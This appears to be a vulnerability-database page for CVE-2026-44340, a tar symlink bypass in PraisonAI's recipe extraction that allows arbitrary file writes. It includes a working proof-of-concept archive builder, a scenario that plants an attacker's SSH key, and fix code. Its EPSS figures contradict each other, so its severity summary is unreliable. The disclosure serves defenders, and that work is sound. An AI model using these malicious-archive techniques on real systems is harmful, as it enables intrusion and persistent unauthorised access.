CVE-2026-44340: PraisonAI: tar symlink bypass allows arbitrary file write

GHSA-9q28-ghcr-c4x3 HIGH
Published May 11, 2026
CISO Take

PraisonAI's recipe extraction helper validates archive member names for path traversal but silently trusts symlink targets, enabling a malicious .praison bundle to plant a symlink inside the extraction directory pointing anywhere on the host filesystem and then write attacker-controlled content through it. This re-opens four previously patched advisories (GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, GHSA-4ph2-f6pf-79wv), indicating a structural weakness that has now bypassed multiple fix attempts; the EPSS score places this in the top 95th percentile of likely-to-be-exploited CVEs, and a working proof-of-concept was published alongside disclosure. With no authentication required on the registry-server publish path and no privileges needed in the recipe pull scenario, every deployment running praisonai <= 4.6.36 that touches third-party bundles is directly exposed. Upgrade to praisonai 4.6.37 immediately; in the interim, restrict recipe operations to internal trusted registries and run praisonai in isolated containers to contain blast radius.

Sources: NVD EPSS GitHub Advisory ATLAS

What is the risk?

High severity (CVSS 7.5, AV:N/AC:L/PR:N/UI:N). Exploitation is trivial — the published PoC is under 30 lines of Python and requires no special tooling. AI agent frameworks routinely run in CI/CD pipelines with broad filesystem access or as root in registry-server deployments, amplifying a file write to full system compromise. The package carries 40 prior CVEs and the current patch chain has failed four times, indicating structural risk beyond this single instance.

How does the attack unfold?

Bundle Crafting
Attacker crafts a malicious .praison archive embedding a symlink with a benign-looking member name inside dest_dir but a linkname targeting a sensitive path outside (e.g., ~/.ssh or /etc/cron.d).
AML.T0011.000
Registry Distribution
Malicious bundle is published to a public PraisonAI recipe registry under an appealing name, or shared directly with targets via social engineering channels.
AML.T0010.001
Extraction Bypass
Victim runs recipe pull or unpack; _safe_extractall validates only member.name (passes all checks), skips linkname inspection entirely, and calls tar.extractall without filter='data', planting the symlink in dest_dir.
AML.T0049
Arbitrary File Write
A subsequent archive member traverses the planted symlink, writing attacker-controlled content to the chosen path outside dest_dir and enabling persistent access, credential theft, or scheduled code execution.
AML.T0112

What systems are affected?

Package Ecosystem Vulnerable Range Patched
PraisonAI pip <= 4.6.36 4.6.37
1 dependents 83% patched ~0d to patch Full package profile →

Do you use PraisonAI? You're affected.

How severe is it?

CVSS 3.1
7.5 / 10
EPSS
0.4%
chance of exploitation in 30 days
Higher than 35% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C None
I High
A None

What should I do?

6 steps
  1. Patch: Upgrade to praisonai 4.6.37 which adds filter='data' to tar.extractall and explicit linkname validation.

  2. Verify fix is applied: grep for 'filter="data"' in the installed package's praisonai/recipe/registry.py.

  3. Interim workaround: Process .praison bundles only from fully internal, access-controlled registries; treat all third-party bundles as untrusted inputs.

  4. Isolation: Run recipe pull/unpack inside ephemeral containers with a read-only bind mount for directories outside the intended extraction path.

  5. Detection: Alert on unexpected file creation in ~/.ssh, cron directories, shell rc files, and system directories during or shortly after any praisonai recipe operation.

  6. Audit: Review recipe pull history for bundles fetched from external registries since praisonai 2.7.2.

What does CISA's SSVC say?

Decision Track
Exploitation none
Automatable Yes
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
A.6.2 - AI Risk Assessment A.6.2.3 - AI system supply chain management
NIST AI RMF
GOVERN-6.2 - Organizational risk management for AI supply chain MANAGE 2.2 - Mechanisms are in place and applied to sustain value of deployed AI
OWASP LLM Top 10
LLM03 - Supply Chain LLM03:2025 - Supply Chain

Frequently Asked Questions

What is CVE-2026-44340?

PraisonAI's recipe extraction helper validates archive member names for path traversal but silently trusts symlink targets, enabling a malicious .praison bundle to plant a symlink inside the extraction directory pointing anywhere on the host filesystem and then write attacker-controlled content through it. This re-opens four previously patched advisories (GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, GHSA-4ph2-f6pf-79wv), indicating a structural weakness that has now bypassed multiple fix attempts; the EPSS score places this in the top 95th percentile of likely-to-be-exploited CVEs, and a working proof-of-concept was published alongside disclosure. With no authentication required on the registry-server publish path and no privileges needed in the recipe pull scenario, every deployment running praisonai <= 4.6.36 that touches third-party bundles is directly exposed. Upgrade to praisonai 4.6.37 immediately; in the interim, restrict recipe operations to internal trusted registries and run praisonai in isolated containers to contain blast radius.

Is CVE-2026-44340 actively exploited?

No confirmed active exploitation of CVE-2026-44340 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-44340?

1. Patch: Upgrade to praisonai 4.6.37 which adds filter='data' to tar.extractall and explicit linkname validation. 2. Verify fix is applied: grep for 'filter="data"' in the installed package's praisonai/recipe/registry.py. 3. Interim workaround: Process .praison bundles only from fully internal, access-controlled registries; treat all third-party bundles as untrusted inputs. 4. Isolation: Run recipe pull/unpack inside ephemeral containers with a read-only bind mount for directories outside the intended extraction path. 5. Detection: Alert on unexpected file creation in ~/.ssh, cron directories, shell rc files, and system directories during or shortly after any praisonai recipe operation. 6. Audit: Review recipe pull history for bundles fetched from external registries since praisonai 2.7.2.

What systems are affected by CVE-2026-44340?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI agent pipelines, MLOps/CI-CD pipelines, model serving.

What is the CVSS score for CVE-2026-44340?

CVE-2026-44340 has a CVSS v3.1 base score of 7.5 (HIGH). The EPSS exploitation probability is 0.43%.

What is the AI security impact?

Affected AI Architectures

agent frameworksAI agent pipelinesMLOps/CI-CD pipelinesmodel serving

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0010.005 AI Agent Tool
AML.T0011.000 Unsafe AI Artifacts
AML.T0011.001 Malicious Package
AML.T0049 Exploit Public-Facing Application

Compliance Controls Affected

EU AI Act: Article 15, Article 9
ISO 42001: A.6.2, A.6.2.3
NIST AI RMF: GOVERN-6.2, MANAGE 2.2
OWASP LLM Top 10: LLM03, LLM03:2025

What are the technical details?

Original Advisory

### Summary The `_safe_extractall` helper that all `recipe pull`, `recipe publish`, and `recipe unpack` flows route through validates each archive member's `name` for absolute paths, `..` segments, and resolved-path escape — but does **not** validate `member.linkname`, does not reject symlink/hardlink members, and calls `tar.extractall(dest_dir)` without `filter="data"`. A bundle that contains a symlink with a name inside `dest_dir` but a `linkname` pointing outside it, followed by a regular file whose path traverses *through* the just-created symlink, escapes `dest_dir` and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem. ## Affected paths Every code path that calls `_safe_extractall` is exposed: | Caller | File:line | |---|---| | `praisonai recipe unpack` | `src/praisonai/praisonai/cli/features/recipe.py:1175` (introduced as the fix for GHSA-99g3-w8gr-x37c) | | `LocalRegistry.unpack` (recipe pull) | `src/praisonai/praisonai/recipe/registry.py:413` | | Registry archive validation (publish) | `src/praisonai/praisonai/recipe/registry.py:808` | ## Root cause `recipe/registry.py:131-178`: ```python def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None: ... for member in tar.getmembers(): ... member_path = Path(member.name) if member_path.is_absolute(): raise RegistryError(...) if '..' in member_path.parts: raise RegistryError(...) resolved = (dest_resolved / member_path).resolve() if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved: raise RegistryError(...) # All members validated — safe to extract tar.extractall(dest_dir) ``` Three gaps: 1. The loop checks only `member.name`. `member.linkname` (the symlink / hardlink target) is not inspected. 2. `member.issym()` and `member.islnk()` are not used to refuse link members at all. 3. `tar.extractall(dest_dir)` runs without `filter="data"`. On Python ≤ 3.13 the default is `fully_trusted` (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside `dest_dir`. When the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker's chosen location. ## Reproduction Tested in a disposable container against `praisonai==4.6.35` (`pip install praisonai`, no other modifications). `make_bundle.py`: ```python import io, json, tarfile manifest = json.dumps({"name": "legit", "version": "1.0.0"}).encode() with tarfile.open("malicious.praison", "w:gz") as tar: info = tarfile.TarInfo("manifest.json"); info.size = len(manifest) tar.addfile(info, io.BytesIO(manifest)) sym = tarfile.TarInfo("legit/escape") sym.type = tarfile.SYMTYPE sym.linkname = "/tmp/PWNED" tar.addfile(sym) payload = b"PWNED via symlink-extraction bypass of _safe_extractall\n" pf = tarfile.TarInfo("legit/escape/owned.txt"); pf.size = len(payload) tar.addfile(pf, io.BytesIO(payload)) ``` `direct_test.py`: ```python import shutil, tarfile from pathlib import Path from praisonai.recipe.registry import _safe_extractall DEST = Path("/work/recipes_direct") shutil.rmtree(DEST, ignore_errors=True); DEST.mkdir(parents=True) Path("/tmp/PWNED").mkdir(parents=True, exist_ok=True) with tarfile.open("malicious.praison", "r:gz") as tar: _safe_extractall(tar, DEST) assert Path("/tmp/PWNED/owned.txt").exists(), "did not escape" print("PWNED:", Path("/tmp/PWNED/owned.txt").read_text()) ``` Run: ```bash docker run --rm -v "$PWD:/work" -w /work python:3.11-slim sh -c ' pip install -q praisonai && python make_bundle.py && python direct_test.py ' ``` Observed output: ``` _safe_extractall returned cleanly PWNED: PWNED via symlink-extraction bypass of _safe_extractall ``` `/tmp/PWNED/owned.txt` exists after the call returns, written outside the destination directory the helper was asked to extract into. ## Impact Arbitrary file write with attacker-controlled content to an attacker-chosen path, on every host that processes a malicious `.praison` bundle through any of the three callers above. Realistic exploitation paths: - A user runs `praisonai recipe unpack ./<malicious>.praison` after obtaining the bundle from a shared registry, a tutorial link, or direct messaging. - A user runs `praisonai recipe pull <name>` against a malicious or compromised registry. - A registry server processes an uploaded `.praison` bundle (the publish path is reachable over the network if the server is exposed. per GHSA-r9x3-wx45-2v7f and GHSA-2xgv-5cv2-47vv). Where the agent process runs as a regular user, the attacker can overwrite shell config (`.bashrc`, `.zshrc`, `.profile`), SSH `authorized_keys`, cron entries, or project files in adjacent directories. Where the process runs as root (registry-server deployments and some `sudo`-launched workflows), the attacker controls arbitrary system files. This re-opens the `recipe pull`, `recipe publish`, and `recipe unpack` paths that GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, and GHSA-4ph2-f6pf-79wv were each intended to close. ## Suggested remediation Single-line fix at `recipe/registry.py:178`: ```python tar.extractall(dest_dir, filter="data") ``` `filter="data"` (introduced in Python 3.12; available as a backport on 3.8+ via the official PEP 706 reference implementation) refuses symlinks, hardlinks, device nodes, and absolute or escaping link targets, it is the canonical Python defense against this class. If you also support older Python, add an explicit guard inside the existing per-member loop before `tar.extractall`: ```python if member.issym() or member.islnk(): link_target = (dest_resolved / member_path.parent / member.linkname).resolve() if member.linkname.startswith("/") or not str(link_target).startswith(str(dest_resolved) + os.sep): raise RegistryError( f"Refusing to extract link with target outside dest dir: " f"{member.name} -> {member.linkname}" ) ``` ## Affected versions `praisonai >= 2.7.2` through current `4.6.35` (the helper exists at least back to the earliest path-traversal patch chain referenced in GHSA-99g3-w8gr-x37c). All releases that route extraction through `_safe_extractall` are exposed. ## Disclosure Reported privately via the project's GHSA workflow at https://github.com/MervinPraison/PraisonAI/security/advisories/new -- Dhiral Vyas

Exploitation Scenario

An adversary registers an account on a public PraisonAI recipe registry and publishes a bundle named 'gpt-security-agent' containing a manifest.json (passes surface-level validation), a symlink at 'agent/config/escape' with linkname '/home/developer/.ssh', and a file at 'agent/config/escape/authorized_keys' containing the attacker's SSH public key. A developer runs `praisonai recipe pull gpt-security-agent`; _safe_extractall iterates members, validates all name fields (which are within dest_dir), skips the linkname entirely, and calls tar.extractall without filter='data'. The symlink lands first and the subsequent member traverses it, writing the attacker's public key to /home/developer/.ssh/authorized_keys. The attacker now has persistent SSH access with no visible indication of compromise at the praisonai layer.

Weaknesses (CWE)

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

  • [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
  • [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Timeline

Published
May 11, 2026
Last Modified
May 11, 2026
First Seen
May 11, 2026

Related Vulnerabilities